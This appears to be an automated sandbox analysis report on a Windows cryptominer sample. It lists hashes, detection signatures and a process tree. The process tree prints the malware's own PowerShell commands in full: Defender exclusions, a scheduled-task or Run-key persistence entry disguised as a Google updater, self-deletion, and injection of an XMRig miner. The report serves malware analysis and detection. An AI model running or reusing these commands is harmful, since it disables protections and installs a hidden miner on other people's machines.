Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
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max time kernel
453s -
max time network
1787s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2936 created 1380 2936 6vHkJ4UErTSS5ECD.exe 7 PID 2936 created 1380 2936 6vHkJ4UErTSS5ECD.exe 7 PID 2936 created 1380 2936 6vHkJ4UErTSS5ECD.exe 7 PID 2936 created 1380 2936 6vHkJ4UErTSS5ECD.exe 7 PID 2428 created 1380 2428 updater.exe 7 PID 2428 created 1380 2428 updater.exe 7 PID 2428 created 1380 2428 updater.exe 7 PID 2428 created 1380 2428 updater.exe 7 PID 784 created 1380 784 conhost.exe 7 PID 2428 created 1380 2428 updater.exe 7 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral5/memory/2112-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2112-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2492 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2428 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2780 taskeng.exe -
resource yara_rule behavioral5/memory/2112-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2112-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2428 set thread context of 784 2428 updater.exe 53 PID 2428 set thread context of 2112 2428 updater.exe 50 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe 6vHkJ4UErTSS5ECD.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2880 schtasks.exe 2808 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1236 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0c20c3fb64fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2936 6vHkJ4UErTSS5ECD.exe 2936 6vHkJ4UErTSS5ECD.exe 3068 powershell.exe 2936 6vHkJ4UErTSS5ECD.exe 2936 6vHkJ4UErTSS5ECD.exe 2660 powershell.exe 2936 6vHkJ4UErTSS5ECD.exe 2936 6vHkJ4UErTSS5ECD.exe 2936 6vHkJ4UErTSS5ECD.exe 2936 6vHkJ4UErTSS5ECD.exe 2856 powershell.exe 2428 updater.exe 2428 updater.exe 860 powershell.exe 2428 updater.exe 2428 updater.exe 1628 powershell.exe 2428 updater.exe 2428 updater.exe 2428 updater.exe 2428 updater.exe 784 conhost.exe 784 conhost.exe 2428 updater.exe 2428 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 3068 powershell.exe Token: SeDebugPrivilege 2660 powershell.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 860 powershell.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeDebugPrivilege 2428 updater.exe Token: SeAssignPrimaryTokenPrivilege 1236 WMIC.exe Token: SeIncreaseQuotaPrivilege 1236 WMIC.exe Token: SeSecurityPrivilege 1236 WMIC.exe Token: SeTakeOwnershipPrivilege 1236 WMIC.exe Token: SeLoadDriverPrivilege 1236 WMIC.exe Token: SeSystemtimePrivilege 1236 WMIC.exe Token: SeBackupPrivilege 1236 WMIC.exe Token: SeRestorePrivilege 1236 WMIC.exe Token: SeShutdownPrivilege 1236 WMIC.exe Token: SeSystemEnvironmentPrivilege 1236 WMIC.exe Token: SeUndockPrivilege 1236 WMIC.exe Token: SeManageVolumePrivilege 1236 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1236 WMIC.exe Token: SeIncreaseQuotaPrivilege 1236 WMIC.exe Token: SeSecurityPrivilege 1236 WMIC.exe Token: SeTakeOwnershipPrivilege 1236 WMIC.exe Token: SeLoadDriverPrivilege 1236 WMIC.exe Token: SeSystemtimePrivilege 1236 WMIC.exe Token: SeBackupPrivilege 1236 WMIC.exe Token: SeRestorePrivilege 1236 WMIC.exe Token: SeShutdownPrivilege 1236 WMIC.exe Token: SeSystemEnvironmentPrivilege 1236 WMIC.exe Token: SeUndockPrivilege 1236 WMIC.exe Token: SeManageVolumePrivilege 1236 WMIC.exe Token: SeLockMemoryPrivilege 2112 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2660 wrote to memory of 2880 2660 powershell.exe 32 PID 2660 wrote to memory of 2880 2660 powershell.exe 32 PID 2660 wrote to memory of 2880 2660 powershell.exe 32 PID 2492 wrote to memory of 2576 2492 cmd.exe 34 PID 2492 wrote to memory of 2576 2492 cmd.exe 34 PID 2492 wrote to memory of 2576 2492 cmd.exe 34 PID 2856 wrote to memory of 2540 2856 powershell.exe 38 PID 2856 wrote to memory of 2540 2856 powershell.exe 38 PID 2856 wrote to memory of 2540 2856 powershell.exe 38 PID 2780 wrote to memory of 2428 2780 taskeng.exe 40 PID 2780 wrote to memory of 2428 2780 taskeng.exe 40 PID 2780 wrote to memory of 2428 2780 taskeng.exe 40 PID 1628 wrote to memory of 2808 1628 powershell.exe 45 PID 1628 wrote to memory of 2808 1628 powershell.exe 45 PID 1628 wrote to memory of 2808 1628 powershell.exe 45 PID 2428 wrote to memory of 784 2428 updater.exe 53 PID 1440 wrote to memory of 1236 1440 cmd.exe 48 PID 1440 wrote to memory of 1236 1440 cmd.exe 48 PID 1440 wrote to memory of 1236 1440 cmd.exe 48 PID 2428 wrote to memory of 2112 2428 updater.exe 50 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1380
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3068
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2880
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2492
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:860
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2808
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2716
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2112
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1440
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:784
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2576
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C:\Windows\system32\taskeng.exetaskeng.exe {8DD3C7FE-D98F-4A2A-8391-DD8139854625} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1236
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
386KB
MD567179f376ac027acbb817da3b5a5988a
SHA1ed3af156c9437be3f0819d780574bf36d062b45c
SHA2565d5580b96c1f97daf8b05f6e4492cd71cf682fb3f01a2b786d59ba79d7de6c9b
SHA51277d2b5af53df31ec0d51cc69ce193d7ea6cc0d9b2c9c9124b46ababf1109f6eb48f0e907ab60db1f613e1d940a3526c48c41603eb50676a1271e696e06fddd39
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Filesize
45KB
MD5e6d383a88e9ffe3d919af82e1a0cfdb1
SHA155c5078350fcdedc2ba39ca2df1ca779921a57e3
SHA2564d07ed5f82cf67c9aa2c3f5d0fe8309eb122874edb09086e709d1394b227367e
SHA512db3e2009454c58792dbee8cfb91657569e23429b2534fe5e902295348ec2a8debccdd490e56826dd071ca9df186593f82381561f47f08cdffa2b829a28fda436
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8DUB5R4COLCHNPU87H6C.temp
Filesize7KB
MD5be6a2a2a440d8947d285c98589f40313
SHA1aab9a4a7b651459a66e81ecf23b6becc8131520f
SHA256e5dccfb1da63f4606b5d2725e3ab52b3f972c7fa00b95a00f7b42bf900bff976
SHA51203f2c2c92d4f15b5a8bf91ef51243ba99bcea1761b3ee771c444222a60cced778df5c3eec16257a694b3cba6ef5fa5b426c43a7561ac8ceadc8dbb2cb10d460e
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Filesize
445KB
MD5ff6f94ee6b9722b1d93d9602e1a7ac37
SHA19917c9419a76456a75b803f540419241ce695a43
SHA25644f2e40578dedf27c7c4eef6cc703f7da58190e177ea1b2d65931a1ce9bccbfb
SHA5124f6c09aa129dd2fb3f9308b3d99c9f172bf4a857ee60ab3b6eaf03d1ef0cb779737e6ab9fde2c536355de30b60a07e0a50828d775c6cdebf6ee9f78f13765034